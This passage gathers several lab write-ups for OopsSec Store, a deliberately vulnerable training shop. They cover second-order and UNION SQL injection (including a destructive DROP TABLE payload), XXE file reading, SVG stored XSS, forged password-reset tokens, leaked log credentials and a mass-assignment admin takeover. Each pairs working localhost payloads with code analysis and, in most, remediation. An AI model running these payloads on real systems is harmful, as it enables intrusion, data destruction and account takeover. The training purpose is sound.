The panel is also happy to run several statements at once, because the filter goes through better-sqlite3's exec(). A display name like '; DROP TABLE reviews; -- really does wipe the reviews table, so, if you want to try, keep that one for after you have the flag.

To recover, run npm run db:push && npm run db:seed: db:push recreates the missing table, and the seed needs it back before it can read it. Your captured flags survive both steps; the three demo orders go back to their seeded state.

Step 4: Enumerate the schema

Store a display name that reads SQLite's own catalogue:

x' UNION SELECT 1, 2, group_concat(name), 4, 5, 6 FROM sqlite_master WHERE type='table' --

Filter by it, and the third column of the injected row lists every table:

users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence

flags is walled off — naming it returns 403, and any OSS{…} value is stripped from the response before it leaves the server. internal_secrets is not.

Its slugs are readable the same way, so there is nothing to guess. Store one more display name:

x' UNION SELECT 1, 2, group_concat(slug), 4, 5, 6 FROM internal_secrets --

product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Step 5: Read the canary

This panel only looks for its own token. Post one last review under this display name:

x' UNION SELECT 1, 2, token, 4, 5, 6 FROM internal_secrets WHERE slug='second-order-sql-injection' --

Filter by it on the moderation panel:

{
  "reviews": [
    {
      "id": 1,
      "productId": 2,
      "content": "CANARY-SECOND-ORDER-SQL-INJECTION-9dcc7a53b1ba",
      "author": 4
    }
  ],
  "flag": "OSS{s3c0nd_0rd3r_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through a stored review author! Well done!"
}

The token is generated when the lab is seeded, so it differs on every instance: returning it proves the stored name was executed as SQL.

Dropping the WHERE works just as well: all four rows come back and the panel finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

The vulnerability is in the admin reviews API endpoint at /api/admin/reviews:

// Reviews are stored safely via Prisma ORM (parameterized)
const review = await prisma.review.create({
  data: { productId: id, content, author }, // Safe
});

// But later reused unsafely via raw SQLite driver with multi-statement support
const db = new Database(getDbPath());
const query = `
  SELECT r.id, r.content, r.author, ...
  FROM reviews r
  WHERE r.author = '${authorFilter}'   // VULNERABLE
`;
db.exec(query); // exec() runs ALL statements, including DROP TABLE

The developer trusted the author value because it came from the application's own database dropdown, not directly from user input. Using exec() instead of prepare() makes it worse: exec() allows multi-statement execution, so a DROP TABLE slipped into the query string will actually run.

Remediation

Replace the raw SQL query with Prisma's parameterized query builder:

// SECURE - Use Prisma's built-in parameterization
const reviews = await prisma.review.findMany({
  where: { author: authorFilter },
  include: { product: { select: { name: true } } },
  orderBy: { createdAt: "desc" },
});

The root issue is treating database-sourced data as safe. It isn't. Parameterize every query regardless of where the data comes from. For filter dropdowns like this one, an allowlist of valid values is even better since the set of authors is known ahead of time.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Exfiltrating a Hidden Secret Through a Search Bar with UNION SELECT

Oopssec Store — Thu, 01 Oct 2026 19:00:00 +0000

How to exploit a vulnerability in a tiny search box to quietly expose an entire database.

Introduction

This writeup walks through a SQL injection in the product search feature. The search input gets dropped straight into a raw SQL query with no sanitization, so you can manipulate the query to pull data from tables the catalogue never touches. A payload that merely looks like SQL earns nothing here: the flag is handed over only once the response carries a row the search could never have returned.

Lab setup

Spin up the lab locally:

npx create-oss-store oss-store
cd oss-store
npm run dev

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Feature overview and attack surface

The target here is the product search bar in the navigation header. It lets users search products by name or description, hitting this endpoint:

/api/products/search?q=<search_term>

On the backend, the q parameter gets interpolated directly into a SQL query. No escaping, no parameterization. Whatever you type becomes part of the SQL statement.

You can close the intended query context and tack on your own UNION SELECT.

Exploitation procedure

Initial behavior verification

Start by searching for something normal, like fresh. You should get product results back, confirming the endpoint works and actually uses the q parameter.

Injection probing

Now try this payload:

' UNION SELECT 1,2,3,4,5--

A row of 1,2,3,4,5 shows up among the products: the single quote broke out of the LIKE clause and the UNION SELECT merged in. The response also tells you the injection is not the finish line:

{
  "message": "SQL syntax detected in the search term. The flag tracks one specific internal secret, and it is not in these rows."
}

Getting the column count wrong is just as informative, because SQLite's error comes straight back, as an HTTP 500:

{
  "error": "\nInvalid `prisma.$queryRawUnsafe()` invocation:\n\n\nRaw query failed. Code: `1`. Message: `SELECTs to the left and right of UNION do not have the same number of result columns`",
  "products": []
}

Five columns it is.

UNION-based data extraction

Time to pull real data. Submit this:

DELIVERED' UNION SELECT id, email, password, role, addressId FROM users--

This merges the users table into the product results. The app doesn't check where the columns came from, so it happily returns user credentials alongside product listings.

Same thing via curl:

curl "http://localhost:3000/api/products/search?q=DELIVERED%27%20UNION%20SELECT%20id%2C%20email%2C%20password%2C%20role%2C%20addressId%20FROM%20users--"

Schema enumeration

Credentials are loot, not the flag. What the endpoint rewards is reading a row no product search would ever return, so ask SQLite what else lives in there:

' UNION SELECT 1, group_concat(name), 'x', 1, 'y' FROM sqlite_master WHERE type='table'--

users,products,carts,cart_items,orders,order_items,addresses,flags,hints,revealed_hints,reviews,support_access_tokens,found_flags,project_init,internal_secrets,visitor_logs,wishlists,wishlist_items,password_reset_tokens,supplier_orders,coupons,gift_cards,stream_config,sqlite_sequence

flags is a dead end: any payload naming that table gets a 403, and every OSS{…} value is stripped out of the response before it leaves the server. internal_secrets is the one to look at:

' UNION SELECT 1, sql, 'x', 1, 'y' FROM sqlite_master WHERE name='internal_secrets'--

CREATE TABLE "internal_secrets" ("id" TEXT NOT NULL PRIMARY KEY, "slug" TEXT NOT NULL, "token" TEXT NOT NULL)

The schema names a slug column but says nothing about its values. Read those rather than guessing them:

' UNION SELECT 1, group_concat(slug), 'x', 1, 'y' FROM internal_secrets--

product-search-sql-injection,second-order-sql-injection,sql-injection,x-forwarded-for-sql-injection

One row per injection challenge, each named after the challenge it belongs to.

Claiming the flag

This endpoint only looks for its own token, so ask for the product-search-sql-injection row:

' UNION SELECT 1, token, 'x', 1, 'y' FROM internal_secrets WHERE slug='product-search-sql-injection'--

An empty LIKE matches every product, so the whole catalogue comes back and the
injected row sits among it — the literal 1 in the first column is what marks it:

{
  "products": [
    {
      "id": "cmua7d4i4000gienxfk8q9c9l",
      "name": "Artisan Cheese Board",
      "…": "…"
    },
    {
      "id": "1",
      "name": "CANARY-PRODUCT-SEARCH-SQL-INJECTION-d12a4cdea6d3",
      "description": "x",
      "price": "1",
      "imageUrl": "y"
    }
  ],
  "flag": "OSS{pr0duct_s34rch_sql_1nj3ct10n}",
  "message": "Internal secret exfiltrated through the product search! Well done!"
}

The token is generated when the lab is seeded, so it differs on every instance — returning it is proof the query ran.

Dropping the WHERE works just as well: all four rows come back and the endpoint finds its own token among them. The filter keeps the response readable, it is not a requirement.

Vulnerable code analysis

Here's the problem. The query is built with string concatenation:

const sqlQuery = `
  SELECT 
    id,
    name,
    description,
    price,
    "imageUrl"
  FROM products
  WHERE name LIKE '%${query}%' OR description LIKE '%${query}%'
  ORDER BY name ASC
  LIMIT 50
`;

const results = await prisma.$queryRawUnsafe(sqlQuery);

The query parameter is dropped directly into the SQL string, and $queryRawUnsafe does exactly what the name suggests — it skips Prisma’s parameterization entirely. No escaping either. Single quotes, comment delimiters, anything goes.

So when you send:

DELIVERED' UNION SELECT ...

the quote closes the LIKE clause, and everything after it runs as SQL. The database user can read other tables, so the users table comes back for free.

This is CWE-89: Improper Neutralization of Special Elements used in an SQL Command.

Remediation

Don't build SQL queries with string interpolation. Use Prisma's query builder instead:

const results = await prisma.product.findMany({
  where: {
    OR: [
      { name: { contains: query, mode: "insensitive" } },
      { description: { contains: query, mode: "insensitive" } },
    ],
  },
});

User input stays data, never becomes executable SQL.

If you need raw SQL with Prisma, use $queryRaw (parameterized), not $queryRawUnsafe. With MySQL and no ORM, use prepared statements. You should also restrict the database user's permissions so that even if someone does find an injection, the damage is limited. Logging unusual query patterns helps too — you want to know when someone is poking at your search bar with UNION SELECT.

Go further

The leaked data includes an admin email with an MD5 password hash. MD5 is trivially crackable at this point, so you can try recovering the password offline and logging in as admin. From there, you'd have access to restricted endpoints where other flags might be hiding.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

I uploaded a green square to a Next.js store and got stored XSS

Oopssec Store — Fri, 25 Sep 2026 19:00:00 +0000

Upload a malicious SVG to the admin product image field and get stored XSS that fires for every visitor.

The admin panel in OopsSec Store lets you upload product images, including SVGs. Since SVG is just XML, you can embed a <script> tag in one, upload it as a product image, and the JavaScript runs in the browser of anyone who views that product.

Prerequisites

You need admin access. Two attack chains can get you there:

Do those first.

Lab setup

If OopsSec Store isn't already running locally:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Once it's up, go to http://localhost:3000 and log in with the admin credentials you recovered.

Vulnerability overview

The admin panel has a product editor where you can upload images. SVG is in the list of allowed formats, and that's the whole problem: SVG files can contain JavaScript.

Two things make this exploitable:

The server only checks the Content-Type header, which the client controls entirely
The frontend renders SVGs with an <object> tag, which executes embedded scripts (an <img> tag would not)

Upload a malicious SVG as a product image, and the script runs for every user who loads that product page, the admin preview included.

Exploitation

Finding the upload

Go to http://localhost:3000/admin/products. You can edit any product and swap its image.

Crafting the SVG

Create xss.svg:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <rect width="100" height="100" fill="#4ade80"/>
  <script type="text/javascript">
    alert('XSS executed!');
  </script>
</svg>

Just a green square with an alert().

Uploading it

Pick a product to edit
Upload xss.svg as its image
Save

The server doesn't inspect the file contents. You get the flag right after a successful upload.

Triggering execution

The script fires on the product page (/products/[product-id]), in the admin panel preview, and if you access the file directly at /api/uploads/[filename].svg. The browser parses the SVG, hits the <script>, and runs it.

Vulnerable code analysis

Server-side: header-only validation

The upload endpoint checks file.type, which is just the Content-Type header from the request. The client sets that, so it means nothing:

const ALLOWED_CONTENT_TYPES = [
  "image/jpeg",
  "image/png",
  "image/gif",
  "image/webp",
  "image/svg+xml", // SVG files can contain JavaScript
];

if (!ALLOWED_CONTENT_TYPES.includes(file.type)) {
  return NextResponse.json({ error: "Invalid file type" }, { status: 400 });
}

No magic byte inspection, no content scanning. Whatever the client says the file is, the server believes.

Frontend: `<object>` tag rendering

The product page uses <object> for SVGs:

{
  product.imageUrl.endsWith(".svg") ? (
    <object
      data={product.imageUrl}
      type="image/svg+xml"
      className="h-full w-full object-cover"
    >
      <img src={product.imageUrl} alt={product.name} />
    </object>
  ) : (
    <Image src={product.imageUrl} alt={product.name} />
  );
}

<object> treats the SVG as a full document and runs scripts inside it. An <img> tag would render the SVG but block script execution.

Remediation

The fix has three parts, and you should apply all of them. Any one alone would stop this particular exploit, but defense in depth matters when you're handling user uploads.

First, stop trusting the Content-Type header and inspect the actual bytes:

import { fileTypeFromBuffer } from "file-type";

const buffer = Buffer.from(await file.arrayBuffer());
const detectedType = await fileTypeFromBuffer(buffer);

const SAFE_MIME_TYPES = ["image/jpeg", "image/png", "image/gif", "image/webp"];

if (!detectedType || !SAFE_MIME_TYPES.includes(detectedType.mime)) {
  return NextResponse.json({ error: "Invalid file type" }, { status: 400 });
}

SVG isn't on the safe list, so this blocks the upload entirely. If you actually need SVG support, sanitize it server-side with DOMPurify before saving:

import DOMPurify from "isomorphic-dompurify";

if (file.type === "image/svg+xml") {
  const svgContent = buffer.toString("utf-8");
  const sanitizedSvg = DOMPurify.sanitize(svgContent, {
    USE_PROFILES: { svg: true, svgFilters: true },
  });
  buffer = Buffer.from(sanitizedSvg);
}

This strips <script> tags and event handlers from the SVG content.

Finally, serve uploaded files with headers that prevent script execution regardless of what got through:

// next.config.js
headers: [
  {
    source: "/api/uploads/:path*",
    headers: [
      { key: "Content-Security-Policy", value: "script-src 'none'" },
      { key: "X-Content-Type-Options", value: "nosniff" },
    ],
  },
];

script-src 'none' blocks all script execution in the response. nosniff stops browsers from guessing a different content type.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

Dumping Every User's Plaintext Password Without Touching the Database

Oopssec Store — Sat, 19 Sep 2026 19:00:00 +0000

Exploiting a forgotten debug statement that logs plaintext passwords and a hidden SIEM dashboard with hardcoded credentials to retrieve a flag.

Someone left a debug log in the login route that dumps passwords in plaintext. Those logs end up on a hidden SIEM dashboard protected by default credentials. We'll find it, log in, and read everyone's passwords.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Reconnaissance

Login mechanism

There's a login form at /login. Submitting credentials sends a POST to /api/auth/login with a JSON body:

{
  "email": "alice@example.com",
  "password": "test"
}

The response doesn't leak anything useful whether login succeeds or fails.

Directory enumeration

Run gobuster (or any directory brute-forcer) against the app:

gobuster dir -u http://localhost:3000 -w /usr/share/seclists/Discovery/Web-Content/common.txt

/monitoring shows up, which is worth poking at. Enumerate one level deeper:

gobuster dir -u http://localhost:3000/monitoring -w /usr/share/seclists/Discovery/Web-Content/common.txt

This turns up /monitoring/siem -- not linked anywhere in the app.

The SIEM dashboard

Hit http://localhost:3000/monitoring/siem and you get a login form titled "SIEM Console -- Internal Monitoring System."

An internal log viewer sitting on a public port. Promising.

Bypassing SIEM authentication

Internal tool, hastily deployed -- default credentials are always worth a shot:

Username	Password
admin	admin
root	admin
root	root
admin	password

root / admin gets us in.

Triggering the credential leak

The dashboard is empty until someone actually logs in. Fire off a login attempt on the main app:

curl -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'

Reading the logs

Back on the SIEM dashboard, the log table shows all captured log output. Search for [auth] or login attempt and you'll see something like:

[auth] login attempt email=alice@example.com password=iloveduck flag=OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}

The flag is OSS{pl41nt3xt_p4ssw0rd_1n_l0gs}.

Vulnerability chain

Four things had to go wrong for this to work:

CWE-532 -- A logger.warn call in the login route dumps the email, password, and flag in the log message on every attempt.
CWE-312 -- The structured logger writes these entries to logs/app.log in cleartext.
CWE-200 -- The SIEM dashboard at /monitoring/siem is unlisted but easy to find with directory enumeration.
CWE-798 -- The SIEM login uses default credentials (root:admin).

Remediation

Don't log request bodies or sensitive fields. Even with a structured logging library like Pino, use field redaction so passwords can't end up in output even if someone forgets.

Treat logs as sensitive data. Access controls, encryption at rest, retention policies -- if logs contain anything that could identify a user, they need the same care as a database.

Internal tools need real credentials. Default passwords on an internal dashboard are fine until the dashboard is reachable from the internet. Use a secrets manager or SSO; never ship root:admin.

Review log messages for sensitive data during code review. A structured logger doesn't prevent developers from embedding credentials in the message string itself.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

An error message gave me the path. The XML parser gave me the file

Oopssec Store — Sun, 13 Sep 2026 19:00:00 +0000

Exploiting an insecure XML parser in the supplier order import feature to read arbitrary server-side files and retrieve a flag.

The OopsSec Store admin panel has a supplier order import page that parses XML. The parser resolves external entities, so we can use it to read arbitrary files off the server.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000.

Prerequisites -- gaining admin access

The import feature is admin-only. You'll need to get admin access first through another vulnerability.

Reconnaissance

The supplier import page

Once you have admin access, the dashboard at /admin has a "Supplier Orders" link pointing to /admin/suppliers.

The page has a textarea for pasting XML and an "Import Order" button. A sample template is already filled in:

<?xml version="1.0" encoding="UTF-8"?>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0042</orderId>
  <total>1250.00</total>
  <notes>Standard delivery — net 30 terms</notes>
</order>

The API

Submitting the form sends a POST to /api/admin/suppliers/import-order with Content-Type: application/xml. The response comes back with the parsed fields:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "id": "...",
    "supplierId": "SUP-001",
    "orderId": "PO-2026-0042",
    "total": 1250,
    "notes": "Standard delivery — net 30 terms",
    "createdAt": "..."
  }
}

The notes field comes straight from the XML input. That's our injection point.

Exploiting the XXE vulnerability

The target file

Send malformed XML (missing required fields, bad structure) and the endpoint gives back verbose errors. The response includes a debug object that leaks the absolute path to a file:

{
  "error": "Missing required fields: supplierId and orderId.",
  "debug": {
    "config": "/absolute/path/to/flag-xxe.txt",
    "received": { "supplierId": null, "orderId": null }
  }
}

That's flag-xxe.txt at the project root.

The payload

XML supports Document Type Definitions (DTDs) that let you define entities. A SYSTEM entity tells the parser to load content from an external resource:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
  <!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">
]>
<order>
  <supplierId>SUP-001</supplierId>
  <orderId>PO-2026-0001</orderId>
  <total>0</total>
  <notes>&xxe;</notes>
</order>

When the parser hits &xxe;, it reads the file and drops its contents into notes.

Send it

Paste it into the import form, or fire it off with curl:

curl -X POST http://localhost:3000/api/admin/suppliers/import-order \
  -H "Content-Type: application/xml" \
  -H "Cookie: authToken=<your-admin-jwt>" \
  -d '<?xml version="1.0"?><!DOCTYPE order [<!ENTITY xxe SYSTEM "file:///absolute/path/to/flag-xxe.txt">]><order><supplierId>SUP-001</supplierId><orderId>PO-XXE</orderId><total>0</total><notes>&xxe;</notes></order>'

The flag

The file contents come back in notes:

{
  "message": "Supplier order imported successfully.",
  "order": {
    "supplierId": "SUP-001",
    "orderId": "PO-XXE",
    "total": 0,
    "notes": "# Supplier Integration API Configuration\n# Generated automatically — do not edit\n\napi_key=OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}\nendpoint=https://suppliers.oss-store.internal/api/v2\ntimeout=30000\n"
  }
}

The flag is OSS{xml_3xt3rn4l_3nt1ty_1nj3ct10n}.

Secure implementation

// VULNERABLE — resolves external entities from user input
const doc = libxmljs.parseXmlString(rawXml, { noent: true, dtdload: true });

// SECURE — disable DTD processing entirely
const doc = libxmljs.parseXmlString(rawXml);
// Additionally: strip or reject any DOCTYPE declarations before parsing

After the fix:

Vulnerability chain

This exploit chains two bugs:

Admin access, for example via JWT forgery (CWE-347) or mass assignment (CWE-915)
XXE injection (CWE-611) -- the XML parser resolves external entity declarations, letting you read arbitrary files off the server

Remediation

To fix this in a real app:

Disable DTD processing in your XML parsers. Most libraries have flags to reject DOCTYPE declarations outright.
Disable external entity resolution. Tell the parser to ignore SYSTEM and PUBLIC entity declarations.
Use JSON for data exchange where you can. JSON doesn't have entity expansion.
Strip DOCTYPE declarations from XML before parsing.
Run the app process with minimal file system permissions. It shouldn't be able to read config files it doesn't need.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

This reset token uses MD5 — but that's not the real bug

Oopssec Store — Mon, 07 Sep 2026 19:00:00 +0000

Exploit a predictable password reset token generation mechanism to take over any user account.

The password reset on OopsSec Store builds tokens from MD5(email + timestamp). The timestamp is right there in the API response. You can forge a valid reset token for any account in one request.

Lab setup

Start the lab:

npx create-oss-store@latest

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

The app runs at http://localhost:3000.

Target identification

Step 1: Find the password reset flow

Go to /login. There's a "Forgot password?" link below the password field. Click it to reach /login/forgot-password.

Step 2: Watch the API response

Enter your own email (e.g., alice@example.com) and submit. Open DevTools (Network tab) and look at the response from POST /api/auth/forgot-password:

{
  "message": "If an account with that email exists, a password reset link has been sent.",
  "requestedAt": "2026-02-26T10:30:45.123Z"
}

That requestedAt field is a precise ISO timestamp. Why would a "check your email" response include the exact server time?

Exploitation

Step 3: Figure out the token algorithm

Dig into the source or experiment. The reset token is:

token = MD5(email + Math.floor(Date.now() / 1000))

The requestedAt timestamp tells you the exact second the token was created.

Step 4: Request a reset for any user

Pick a target. Alice works:

curl -s -X POST http://localhost:3000/api/auth/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com"}'

Grab the requestedAt value from the response.

Step 5: Forge the token

Convert the ISO timestamp to Unix seconds and compute the MD5 hash:

# Example: requestedAt = "2026-02-26T10:30:45.123Z"
TIMESTAMP=$(date -d "2026-02-26T10:30:45.123Z" +%s)
TOKEN=$(echo -n "alice@example.com${TIMESTAMP}" | md5sum | cut -d' ' -f1)
echo $TOKEN

Or with Node.js:

const crypto = require("crypto");
const requestedAt = "2026-02-26T10:30:45.123Z";
const timestamp = Math.floor(new Date(requestedAt).getTime() / 1000);
const token = crypto
  .createHash("md5")
  .update("alice@example.com" + timestamp)
  .digest("hex");
console.log(token);

Step 6: Reset the password and get the flag

curl -s -X POST http://localhost:3000/api/auth/reset-password \
  -H "Content-Type: application/json" \
  -d "{\"token\":\"${TOKEN}\",\"password\":\"hacked123\"}"

{
  "message": "Your password has been reset successfully.",
  "flag": "OSS{1ns3cur3_p4ssw0rd_r3s3t}"
}

Bonus: admin account takeover

Same technique, different email. Request a reset for admin@oss.com, forge the token, reset the password, log in at /login.

Vulnerable code analysis

The bug is in the token generation at /app/api/auth/forgot-password/route.ts:

// app/api/auth/forgot-password/route.ts
const now = new Date();
const requestedAt = now.toISOString();
const timestamp = Math.floor(now.getTime() / 1000);

const token = hashMD5(email + timestamp);

return NextResponse.json({
  message:
    "If an account with that email exists, a password reset link has been sent.",
  requestedAt, // This leaks the timestamp used in token generation
});

Both inputs to the hash are known to the attacker. They sent the email in the request. The server hands back the timestamp in the response. That's everything you need.

Remediation

Generate tokens with crypto.randomBytes instead of a deterministic hash:

import crypto from "crypto";

const token = crypto.randomBytes(32).toString("hex");

Drop the requestedAt field from the response, and add rate limiting on the endpoint.

Lab

kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx

…

View on GitHub

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

How one email field in a support form handed me the admin account

Oopssec Store — Tue, 01 Sep 2026 19:00:00 +0000

Exploiting a mass assignment flaw in a support access token endpoint to generate a session for the admin account and access the admin dashboard.

OopsSec Store has a support access feature that lets users generate tokens so customer support can log into their accounts. The token generation endpoint accepts an email parameter from the request body without any ownership check, which means any authenticated user can generate a support token for any account, including the administrator.

Lab setup

From an empty directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000.

Target identification

The user profile page has a "Support Access" tab. This feature generates a temporary token URL that a support agent can use to log into the account without a password, a common pattern in SaaS applications.

The endpoint behind it:

POST /api/user/support-access

Clicking "Generate Support Access Token" creates a JWT-based token tied to the authenticated user's account. A support agent visits the generated URL and gets a full session.

The problem is that the endpoint blindly trusts the request body to determine which account the token is generated for.

Exploitation

Step 1: Create a regular account

Step 2: Locate the support access feature

Go to the profile page and open the Support Access tab. The "Generate Support Access Token" button triggers a POST request to /api/user/support-access.

Step 3: Intercept the token generation request

Open DevTools (Network tab) or set up Burp Suite as a proxy before clicking the button. The default request body is either empty or contains the authenticated user's email.

Step 4: Replay the request with the admin email

Replay the POST request with a modified body:

{
  "email": "admin@oss.com"
}

With curl:

# Log in as a regular user to grab the session cookie
curl -c cookies.txt -X POST http://localhost:3000/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"alice@example.com","password":"iloveduck"}'

# Generate a support token for the admin account
curl -b cookies.txt -X POST http://localhost:3000/api/user/support-access \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@oss.com"}'

The response contains a support token tied to the admin account instead of the authenticated user's account.

Step 5: Log in as admin

Open the supportLoginUrl from the response in a browser:

http://localhost:3000/support-login?token=<the-token-from-step-4>

The application validates the token, resolves it to the admin user, and creates a full authenticated session.

Step 6: Access the admin dashboard

Navigate to http://localhost:3000/admin. The flag is on the dashboard.

